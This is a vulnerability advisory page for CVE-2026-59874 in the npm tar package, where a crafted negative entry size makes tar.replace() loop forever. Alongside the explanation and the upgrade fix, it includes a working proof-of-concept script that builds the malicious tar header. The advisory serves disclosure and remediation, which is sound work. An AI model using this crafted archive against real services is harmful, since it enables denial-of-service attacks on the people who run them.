CVE-2026-59874 — Vulnerability in tar — CVE Details
node-tar: Negative tar entry size causes infinite loop in archive replace
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.64%). Schedule for your next planned update.
Does your project use an affected tar version?
Paste your package-lock.json to check it for CVE-2026-59874 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
A checksum-valid tar archive with a negative base-256 encoded entry size can make tar.replace() loop forever while scanning the existing archive. Applications that update attacker-controlled tar archives can have a worker process pinned indefinitely, causing denial of service.
Details
The public tar.replace() API scans the existing archive before appending replacement entries. During this scan, it parses each tar header and advances the archive position by the parsed entry size rounded to a 512-byte block boundary.
Tar supports base-256 encoded numeric fields. A crafted header can encode the entry size as -512 while still carrying a valid checksum. The replace scan accepts that parsed negative size and uses it in the position-advance calculation.
For a size of -512, the computed body skip is -512. The scan then adds the normal 512-byte header step, resulting in no net progress. The scanner repeatedly parses the same header forever and never reaches the append step.
This is reachable through the supported package API when the existing archive file is attacker controlled. It does not rely on extraction, dependency behavior, or an uncaught exception.
PoC
Save as poc.mjs in a project with the vulnerable package installed and run:
node poc.mjs
import fs from 'node:fs'
import os from 'node:os'
import path from 'node:path'
import { spawnSync } from 'node:child_process'
const oct = (b, n, off, len) =>
b.write(n.toString(8).padStart(len - 1, '0') + '\0', off, len, 'ascii')
const badHeader = () => {
const h = Buffer.alloc(512)
h.write('x', 0)
oct(h, 0o644, 100, 8)
oct(h, 0, 108, 8)
oct(h, 0, 116, 8)
// base-256 encoded -512 in the size field
Buffer.alloc(10, 0xff).copy(h, 124)
h[134] = 0xfe
h[135] = 0x00
oct(h, 0, 136, 12)
h.fill(0x20, 148, 156)
h[156] = 0x30
h.write('ustar\0' + '00', 257, 8, 'binary')
let sum = 0
for (const c of h) sum += c
h.write(sum.toString(8).padStart(6, '0') + '\0 ', 148, 8, 'ascii')
return h
}
const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'tar-loop-'))
const file = path.join(dir, 'poc.tar')
fs.writeFileSync(file, badHeader())
fs.writeFileSync(path.join(dir, 'add.txt'), 'x')
const r = spawnSync(
process.execPath,
[
'--input-type=module',
'-e',
`
import * as tar from 'tar'
tar.replace({ file: ${JSON.stringify(file)}, cwd: ${JSON.stringify(dir)}, sync: true }, ['add.txt'])
console.log('completed')
`,
],
{ timeout: 20_000 }
)
console.log(r.error?.code === 'ETIMEDOUT')
// Output: true
Impact
An application that calls tar.replace() on an existing archive supplied or controlled by an attacker can be forced into a non-terminating archive scan. This can consume a worker process indefinitely and cause denial of service. Plain extraction-only workflows are not affected by this finding.
Advisory Timeline
- First published July 20, 2026 (129 days ago).
- Last revised September 10, 2026 — 51 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
npm install tar@7.5.18
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: npm (1).
| Package | Fixed In |
|---|---|
| tar npm · Affected: All versions | 7.5.18 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-835
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 7.5 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
References
- https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5wWEB
- https://nvd.nist.gov/vuln/detail/CVE-2026-59874ADVISORY
- https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5WEB
- https://github.com/isaacs/node-tarPACKAGE
- https://github.com/isaacs/node-tar/releases/tag/v7.5.18WEB
Frequently Asked Questions
- What is CVE-2026-59874?
- node-tar: Negative tar entry size causes infinite loop in archive replace. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 7.5/10).
- How do I check if my project is affected by CVE-2026-59874?
- CVE-2026-59874 affects tar. It has a 0.6% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-59874 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Significant impact if exploited, or exploitable with modest effort.
This is a below-median EPSS score — only 45.4% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.
Also Known As
Related CVEs
- CVE-2026-59873CRITICAL
node-tar: Decompression/parse DoS via unlimited input
- CVE-2026-24842HIGH
node-tar Vulnerable to Arbitrary File Creation/Overwrite via Hardlink Path Traversal
- CVE-2021-32804HIGH
Arbitrary File Creation/Overwrite due to insufficient absolute path sanitization
- CVE-2021-37713HIGH
Arbitrary File Creation/Overwrite on Windows via insufficient relative path sanitization
- CVE-2026-26960HIGH
Arbitrary File Read/Write via Hardlink Target Escape Through Symlink Chain in node-tar Extraction
- CVE-2026-23745HIGH
node-tar is Vulnerable to Arbitrary File Overwrite and Symlink Poisoning via Insufficient Path Sanitization
- CVE-2026-31802HIGH
node-tar Symlink Path Traversal via Drive-Relative Linkpath
- CVE-2021-37701HIGH
Arbitrary File Creation/Overwrite via insufficient symlink protection due to directory cache poisoning using symbolic links